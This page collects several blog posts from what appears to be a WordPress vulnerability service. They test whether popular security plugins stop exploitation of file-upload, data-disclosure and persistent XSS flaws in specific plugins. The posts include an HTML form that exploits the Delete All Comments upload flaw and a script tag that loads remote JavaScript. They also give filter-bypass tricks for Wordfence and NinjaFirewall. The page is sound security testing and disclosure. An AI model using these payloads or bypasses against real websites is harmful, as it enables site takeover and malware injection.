WordPress plugins and vulnerabilities- detailed debate cum discussion

WordPress plugins and vulnerabilities- detailed debate cum discussion

Comments 0 Comment

No WordPress Security Plugin Prevented Exploitation of Unfixed Arbitrary File Upload Vulnerability in Popular Plugin

When it comes to the chances of vulnerabilities being exploited the reality is that many types of vulnerabilities are highly unlikely to have anyone even try to exploit them. Unfortunately far too often we see security companies and the press making a big deal of vulnerabilities that are are of little to no threat, while ignoring vulnerabilities and broader security issues that are leading to websites being hacked (that lead us to providing information on likelihood that a vulnerability is to be exploited to the data for our service). When it comes to types that are likely to be exploited, the arbitrary file upload vulnerability, which allows a hacker to upload files of any kind to a website, is probably the one with the most exploit attempts and also then ends up leading to the most websites being hacked. So if a WordPress security plugin is going to protect against any type of vulnerability this seems like this is the one you would most want it to be able protect against.

Back in September we tested out security plugins against this type of vulnerabilityand the results were not good. Of the 12 plugins tested only 3 provided any protection. The protections 2 of them provide was easily bypassed for this particular vulnerability and the remaining plugin’s protection also meant that Editor level and below users could not upload files either.

With the vulnerability tested then the file to be uploaded was included with the upload request, which provides security plugins a relatively easy way to detect the possibility of a malicious upload occurring as they can see all files being included in the request by checking the $_FILES variable. An arbitrary file upload vulnerability can also involve getting a file from another website, which should make it harder to detect.

Just such a vulnerability was disclosed in the plugin Delete All Comments (which recently had 30,000+ active installs according to wordpress.org) by the security company NinTechNet on Saturday, which they had discovered while cleaning up a website that had been hacked due to it. The vulnerability is just the type of thing that could show the value of a security plugin as the vulnerability has not been fixed, so even if you keep your plugins up to date at all times you are still vulnerable if you are using (WordPress could step in to provide a secured version, but so far they have not). So we decided to test out security plugins to see if they are able to protect against it.

Testing Procedure

For each of the tested plugin we set up a fresh install of WordPress 4.7, installed the version 2.0 of Delete All Comments, and installed the latest version of the security plugin. We tried to enable any feature of the plugin that could possibly have an impact on stopping exploitation of the vulnerability.

We used the following HTML to launch the upload request in the exploit attempts:

<form method="POST" action="http://[path to WordPress]">
<input type="text" name="restorefromfileURL" value="[URL of file to be upload]">
<input type="text" name="restorefromfileNAME" value="test.php">
<input type="submit">
</form>

The 15 plugins we tested include the security plugins listed in the Popular plugins section of the Plugin Directory and some others that look to intended to prevent this type of situation. We added three new plugins in this round of testing: Block Bad Queries (BBQ), Centrora Security, and Total Security. Followers of our blog might recognize two of those, as we previously disclosed a pair security vulnerabilities we found Centrora Security and Total Security (yes security plugins can introduce additional security issues on your website). If you would like to see an additional plugin included in future testing please leave a comment on the post or contact us.

Results

None of the plugins tested prevented the vulnerability from being exploited.

We were surprised NinjaFirewall (WP Edition) didn’t prevent this since the developer was the one that discovered the vulnerability and they state that:

Alternatively, if your are using NinjaFirewall (WP/WP+ Edition), our WordPress WAF, you are protected against it.

One possible explanation for this discrepancy is that we sent the exploit attempt request to homepage of the website while the hack shown in their post had the request sent to /wp-content/plugins/delete-all-comments/delete-all-comments.php. When we sent the request to that URL instead it was blocked.

The full results are below:

Acunetix Secure WordPress

Result: Failed to prevent exploitation.

Acunetix WP Security

Result: Failed to prevent exploitation.

All In One WP Security & Firewall

Result: Failed to prevent exploitation.

Anti-Malware Security and Brute-Force Firewall

Result: Failed to prevent exploitation.

Block Bad Queries (BBQ)

Result: Failed to prevent exploitation.

BulletProof Security

Result: Failed to prevent exploitation.

Centrora Security

Result: Failed to prevent exploitation.

IP Geo Block

Result: Failed to prevent exploitation.

iThemes Security

Result: Failed to prevent exploitation.

NinjaFirewall (WP Edition)

Result: Failed to prevent exploitation.

Security Ninja

Result: Failed to prevent exploitation.

Shield WordPress Security

Result: Failed to prevent exploitation.

Sucuri Security

Result: Failed to prevent exploitation.

Total Security

Result: Failed to prevent exploitation.

Wordfence

Result: Failed to prevent exploitation.

Protecting Against Plugin Vulnerabilities

Seeing as the security plugins provided no protection, there are a number of other steps you can take to lessen the chances of being exploited through a vulnerability in a plugin:

  • Remove plugins that you are not planning to use anymore. Some vulnerabilities are exploitable even if the plugin is not activated, so just deactivating them will not fully protect you. In this case the vulnerability can exploited when not active if the request is sent directly to plugin’s file.
  • Keep your plugins up to date. Unless you are constantly checking for outdated plugins, your best bet is probably to enable WordPress’ ability to update them automatically. Our Automatic Plugin Updates plugin is one option for doing that.
  • Install our Plugin Vulnerabilities plugin. For vulnerabilities that it looks like a hacker is already exploiting, we include data on that in the plugin and you will get alerted to the situation even if you don’t use the service. We added this vulnerability on Monday.
  • Sign up for our service. Not only do you get alerted if there is a vulnerability in a currently installed version of a plugin, but we can also work with you to determine what is the best option for dealing with that situation. Maybe the vulnerability is something you can safely ignore or we can create a workaround to prevent exploitation until a proper fix is released. Your support of the service also help us to continue to work to get these types of vulnerabilities fixed.
  • Hire someone to do a security review done on the plugins you use. This is the most expensive option, but it also going to provide you the highest level of protection. It also will help everyone else using the same plugins. With our service you get a more limited version of this as you can suggest and vote for plugins to have basic security reviews done by us.

Press Security Plugins Protected Against Recently Disclosed Vulnerability That Exposes WooCommerce Order Data

Recently we started testing to see what protection WordPress security plugins provide against vulnerabilities in other plugins (since plugins vulnerabilities are an actual source of websites being hacked, unlike some other things that these plugins make a big deal or providing protection against). The first vulnerability we tested could be used for serving up malware on a website and the second could give an attacker control over the website. Both of those are types of vulnerabilities that are the kind that are often thought of when discussing the security of websites, for example the very popular Wordfence plugin is advertised as “protecting your website from hacks and malware”. Not every security issue though falls into those categories. As you can guess from the name, an information disclosure vulnerability involves the disclosure of information that isn’t intended to be public and those can be a serious issue. For example, if you run an eCommerce you wouldn’t want your customers’ details to be accessible by the public.

WooCommerce is an popular eCommerce plugin for WordPress, which has over 1+ million active installs according to wordpress.org (we use it on this website). There are numerous plugins that expand on its functionality. The security of those isn’t always good. Among the issue we have found in some of those plugins this year were two arbitrary file upload vulnerabilities and a vulnerability that allowed changing the price of products. Recently David Peltier discovered that the plugin Order / Coupon / Subscription Export Import Plugin for WooCommerce (BASIC) had an information disclosure vulnerability that allowed anyone to get a copy of the orders made through WooCommerce on the website. Including in that is not only the details of the order, but the customer’s details, including address and email adress. That vulnerability has now been fixed.

Based on those vulnerabilities in WooCommerce related plugins, it is clear that plugins on websites that likely contain sensitive data are not receiving the security scrutiny that they should be. So if WordPress security plugins provided protection against information disclosure vulnerabilities that could be of significant value.

Testing Procedure

For each of the tested plugin we set up a fresh install of WordPress 4.6.1, installed the version 1.0.8 of Order / Coupon / Subscription Export Import Plugin for WooCommerce (BASIC), and installed the latest version of the security plugin. We tried to enable any feature of the plugin that could possibly have an impact on stopping exploitation of the vulnerability.

We used the proof of concept included in the report on the vulnerability.

The 12 plugins we tested include the security plugins listed in the Popular plugins section of the Plugin Directory and some others that look to intended to prevent this type of situation. If you would like to see an additional plugin included in future testing please leave a comment on the post or contact us.

Results

None of the plugins tested prevent the vulnerability from being exploited.

The full results are below:

Acunetix Secure WordPress

Result: Failed to prevent exploitation.

Acunetix WP Security

Result: Failed to prevent exploitation.

All In One WP Security & Firewall

Result: Failed to prevent exploitation.

Anti-Malware Security and Brute-Force Firewall

Result: Failed to prevent exploitation.

BulletProof Security

Result: Failed to prevent exploitation.

IP Geo Block

Result: Failed to prevent exploitation.

iThemes Security

Result: Failed to prevent exploitation.

NinjaFirewall (WP Edition)

Result: Failed to prevent exploitation.

Security Ninja

Result: Failed to prevent exploitation.

Shield WordPress Security

Result: Failed to prevent exploitation.

Sucuri Security

Result: Failed to prevent exploitation.

Wordfence

Result: Failed to prevent exploitation.

Protecting Against Plugin Vulnerabilities

Seeing as the security plugins provided no protection, there are a number of other steps you can take to lessen the chances of being exploited through a vulnerability in a plugin:

  • Remove plugins that you are not planning to use anymore. Some vulnerabilities are exploitable even if the plugin is not activated, so just deactivating them will not fully protect you.
  • Keep your plugins up to date. Unless you are constantly checking for outdated plugins, your best bet is probably to enable WordPress’ ability to update them automatically. Our Automatic Plugin Updates plugin is one option for doing that.
  • Install our Plugin Vulnerabilities plugin. For vulnerabilities that it looks like a hacker is already exploiting, we include data on that in the plugin and you will get alerted to the situation even if you don’t use the service.
  • Sign up for our service. Not only do get alerted if there is a vulnerability in the currently installed plugin, but we can also work with you to determine what is the best option for dealing with that situation. Maybe the vulnerability is something you can safely ignore or we can create a workaround to prevent exploitation until a proper fix is released. Your support of the service also help us to continue to work to get these types of vulnerabilities fixed.
  • Hire someone to do a security review done on the plugins you use. This is the most expensive option, but it also going to provide you the highest level of protection. It also will help everyone else using the same plugins.
22SEP

Only One WordPress Security Plugin Fully Protected Against a Recently Disclosed Arbitrary File Upload Vulnerability

Last week we did our first test to see what protection that WordPress security plugins can provide against the exploitation of the vulnerabilities in plugins. The results for a persistent cross-site scripting (XSS) vulnerability were not good, with only 2 of the 11 plugins tested providing any protection and even the protection in those two was easily bypassed.

Earlier this week we disclosed a set of arbitrary file upload vulnerabilities in four plugins by the same developer. While these vulnerabilities are of the type that are likely to be exploited (you can now know how likely vulnerabilities are to be exploited with our service), after we contacted the developer, they took two weeks to fix one and the other three have yet to be fixed two months later. That shows a couple of the problems with being able to protect against plugin vulnerabilities at this time, one being that vulnerabilities are not fixed in a timely manner and the other being that simply keeping you plugins up to date will not protect you.

An arbitrary file upload vulnerability allows an attacker to upload any type of file to the website. They would usually use that upload .php file that contains PHP code, which provide them further access to the website or allows them to take further malicious actions.

To see how security plugins would protect against this type of vulnerability we will test them out against the arbitrary file upload vulnerability that exists in N-Media Post Front-end Form simply because that was the first one of those plugins that we discovered had a vulnerability, which we found while looking in to the possibility that plugin had a vulnerability elsewhere in its code.

From what we see monitoring hacking attempts it looks as if arbitrary file upload vulnerabilities are the most frequently targeted vulnerability in WordPress plugins and from cleaning up many hacked WordPress websites they also frequently are the cause of websites being hacked. Based on that you would expect that if security plugins could protect against some type of vulnerability this would be one type that they would. It also seems like it should be relatively easy to monitor files that are being uploaded directly to the website, by check the contents $_FILES variable of PHP, increasing the chances they can stop this type of issue in its most basic form.

Continuing something that came up while working on the first test, we first trying exploiting the vulnerability in and then for plugins that we found stop exploitation we look if we can find a way to bypass that protection without looking at the underlying code (black-box testing).

Testing Procedure

For each of the tested plugin we set up a fresh install of WordPress 4.6.1, installed the latest version of N-Media Post Front-end Form, and installed the latest version of the security plugin. We tried to enable any feature of the plugin that could possibly have an impact on stopping exploitation of the vulnerability.

We used the proof of concept included in our previous post and uploaded a file with a .php extension that contains PHP code.

The 12 plugins we tested include the security plugins listed in the Popular plugins section of the Plugin Directory and some others that look to intended to prevent this type of situation. If you would like to see an additional plugin included in future testing please leave a comment on the post or contact us.

Results

Only three of the plugins tested, Anti-Malware Security and Brute-Force Firewall, NinjaFirewall (WP Edition) and Wordfence, prevented the vulnerability from being exploited in the original test. But we were able to easily bypass the protection in two of those, Anti-Malware Security and Brute-Force Firewall and Wordfence, without even looking the at the underlying source code of how their protection works (that source code would be available to anyone looking to exploit them). With both plugins simply uploading a file with .jpg extension instead of .php evaded their protection. Since you also specify what the file will be named on the server with this vulnerability, the extension of the uploaded file doesn’t dictate the extension of the file on the server.

It is interesting to note that the only plugin to fully protect against the vulnerability, NinjaFirewall (WP Edition), was one of the least popular of the plugins tested, with only 10,000+ active installs. That is a good reminder that the popularity of security plugins has little bearing on the protection they provide.

The full results are below:

Acunetix Secure WordPress

Result: Failed to prevent exploitation.

Acunetix WP Security

Result: Failed to prevent exploitation.

All In One WP Security & Firewall

Result: Failed to prevent exploitation.

Anti-Malware Security and Brute-Force Firewall

Result: Prevented exploitation, but bypass around protection was easily found.

BulletProof Security

Result: Failed to prevent exploitation.

IP Geo Block

Result: Failed to prevent exploitation.

iThemes Security

Result: Failed to prevent exploitation.

NinjaFirewall (WP Edition)

Result: Prevented exploitation.

Security Ninja

Result: Failed to prevent exploitation.

Shield WordPress Security

Result: Failed to prevent exploitation.

Sucuri Security

Result: Failed to prevent exploitation.

Wordfence

Result: Prevented exploitation, but bypass around protection was easily found.

Protecting Against Plugin Vulnerabilities

Seeing as most of those security plugins provided no protection and all but one other was easily bypassed, there are a number of other steps you can take to lessen the chances of being exploited through a vulnerability in a plugin:

  • Remove plugins that you are not planning to use anymore. Some vulnerabilities are exploitable even if the plugin is not activated, so just deactivating them will not fully protect you.
  • Keep your plugins up to date. Unless you are constantly checking for outdated plugins, your best bet is probably to enable WordPress’ ability to update them automatically. Our Automatic Plugin Updates plugin is one option for doing that.
  • Install our Plugin Vulnerabilities plugin. For vulnerabilities that it looks like a hacker is already exploiting, we include data on that in the plugin and you will get alerted to the situation even if you don’t use the service.
  • Sign up for our service. Not only do get alerted if there is a vulnerability in the currently installed plugin, but we can also work with you to determine what is the best option for dealing with that situation. Maybe the vulnerability is something you can safely ignore or we can create a workaround to prevent exploitation until a proper fix is released. Your support of the service also help us to continue to work to get these types of vulnerabilities fixed.
  • Hire someone to do a security review done on the plugins you use. This is the most expensive option, but it also going to provide you the highest level of protection. It also will help everyone else using the same plugins.
12SEP

WordPress Security Plugins Provide Little to No Protection Against Recently Discovered Persistent XSS Vulnerability

In the past few months we have done several one off tests of WordPress security plugins to see if they could prevent exploitation of a vulnerability in a plugin. We tested an extraordinary claim by Wordfence that their plugin could prevent persistent cross-site scripting (XSS) and found that it failed both with avulnerability that required authentication and one that didn’t. We also tested the iThemes Security security plugin against an arbitrary file upload vulnerability that we have found was being exploited in another plugin by one that plugin’s developers and it also failed to prevent exploitation.

That these plugins failed to prevent these vulnerabilities from being exploited wasn’t all that surprising considering the poor state of the security community overall and in particular the one surrounding WordPress. Whether it is security companies making up threats, not understanding the difference between vulnerabilities, or spreading false information about WordPress installations being vulnerable due to not understanding how WordPress handles security updates, it is clear that there isn’t a good understanding of security by the people and companies in the security community.

To get a better understanding of how security plugins impact the threat of plugin vulnerabilities we thought it would be useful to start testing a wider set of them against real world vulnerabilities to see how much protection they provide.

For the inaugural edition, we tested out a persistent cross-site scripting (XSS) vulnerability that existed in the plugin WP-Piwik prior to 1.0.11. The vulnerability highlights a number of the problems we see surrounding vulnerabilities in WordPress plugins these days. In reviewing one of the outside data sources we use to help detect vulnerabilities being targeted by hackers we found an indication that there was hacker interest in the plugin back in January. In looking over the plugin we found that anyone could change the plugin’s settings (you didn’t need to be logged in to do that) and that could be exploited to run malicious JavaScript code on to the frontend pages of the website. A similar vulnerability in another plugin was exploited on a large scale to serve malware on websites in February of last year, so unlike a lot of vulnerabilities that are not of much concern, this one was.

Once we had found the vulnerability we quickly notified the developer of the details of the issue, suggested they may want to request to have the plugin automatically updated after being fixed, and let them know that if they needed any help in dealing with it, to get back to us. Two weeks went by without any response or the vulnerability being fixed. At that point we disclosed the vulnerability, added it to the data that comes with our service’s companion plugin(so that even those that don’t use the service would get alerted), and notified the Plugin Directory of the issue.

A short time later the plugin was removed from the Plugin Directory, which protected those not already using the plugin from being exposed to the issue. Those already using the plugin were left in the dark since WordPress continues to refuse to alert them in such a situation.

Two days later the plugin returned the Plugin Directory with a new version, 1.0.10, that was supposed to fixed the vulnerability, but didn’t. Plugins returning to the Plugin Directory without actually being fixed is continuing problem. After noticing that we contacted the developer again to notify the vulnerability still existed and to provide suggestions on properly fixing the vulnerability. We got a response from them a short time later. Two days later the vulnerability was fixed with version 1.0.11.

Seeing as the vulnerability could have been being exploited for months before it was fixed a security plugin that protected against it before them would have provided some real value.

Testing Procedure

For each of the tested plugin we set up a fresh install of WordPress 4.6.1, installed the last vulnerable version of WP-Piwik, and installed the latest version of the security plugin. We tried to enable any feature of the plugin that could possibly have an impact on stopping exploitation of the vulnerability.

We used the proof of concept included in our previous post on the vulnerability with one change. To simulate what a hacker might do, we set it so that the a JavaScript file from another website would be loaded on the website’s page. In a real exploitation that would then server up malicious code. We did it with this format:

<script src=”https://www.example.com/script.js”></script>

We used a real domain that we control instead of example.com for the testing.

The 11 plugins we tested include the security plugins listed in the Popular plugins section of the Plugin Directory and some others that look to intended to prevent this type of situation. If you would like to see an additional plugin included in future testing please leave a comment on the post or contact us.

Results

Only two of the plugins tested, NinjaFirewall (WP Edition) and Wordfence, prevented the vulnerability from being exploited with the original code. But we were able to easily bypass the protection in those two without even looking the at the underlying source code of how their protection works (that source code would be available to anyone looking to exploit them).

For NinjaFirewall (WP Edition) we bypassed the protection first by removing the “</script>” tag from the malicious code, that didn’t impact the malicious code running due to a closing “</script>” existing after the location it is placed when using the WordPress template.

For Wordfence simply changing the beginning of it from “<script” to “<\script” allowed the protection to be bypassed. That had no impacted on the code ultimately served up to users unlike the bypass for NinjaFirewall (WP Edition). After noticing that we realized the same type of bypass could be used on NinjaFirewall (WP Edition), by replacing “</script>” with “</\script”>.

It is interesting to note that one of the two plugin that provide any protection is also tied for the least popular of the plugins tested, with only 10,000+ active installs. That is a good reminder that the popularity of security plugins has little bearing on the protection they provide, instead what matters is what security features are included, in this case a firewall.

Acunetix Secure WordPress

Result: Failed to prevent exploitation.

Acunetix WP Security

Result: Failed to prevent exploitation.

All In One WP Security & Firewall

Result: Failed to prevent exploitation.

Anti-Malware Security and Brute-Force Firewall

Result: Failed to prevent exploitation.

BulletProof Security

Result: Failed to prevent exploitation.

IP Geo Block

Result: Failed to prevent exploitation.

iThemes Security

Result: Failed to prevent exploitation.

NinjaFirewall (WP Edition)

Result: Prevented exploitation, but bypass around protection was easily found.

Shield WordPress Security

Result: Failed to prevent exploitation.

Sucuri Security

Result: Failed to prevent exploitation.

Wordfence

Result: Prevented exploitation, but bypass around protection was easily found.

Protecting Against Plugin Vulnerabilities

Seeing as most of those security plugins provided no protection and the others were easily bypassed, there are a number of other steps you can take to lessen the chances of being exploited through a vulnerability in a plugin:

  • Remove plugins that you are not planning to use anymore. Some vulnerabilities are exploitable even if the plugin is not activated, so just deactivating them will not fully protect you.
  • Keep your plugins up to date. Unless you are constantly checking for outdated plugins, your best bet is probably to enable WordPress’ ability to update them automatically. Our Automatic Plugin Updates plugin is one option for doing that.
  • Install our Plugin Vulnerabilities plugin. For vulnerabilities like this that it looks like a hacker is already exploiting we include data on that in the plugin and you will get alerted to the situation even if you don’t use the service.
  • Sign up for our service. Not only do get alerted if there is a vulnerability in the currently installed plugin, but we can also work with you to determine what is the best option for dealing with that situation. Maybe the vulnerability is something you can safely ignore or we can create a workaround to prevent exploitation until a proper fix is released. Your support of the service also help us to continue to work to get these types of vulnerabilities fixed.
  • Hire someone to do a security review done on the plugins you use. This is the most expensive option, but it also going to provide you the highest level of protection. It also will help everyone else using the same plugins.

Loading

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.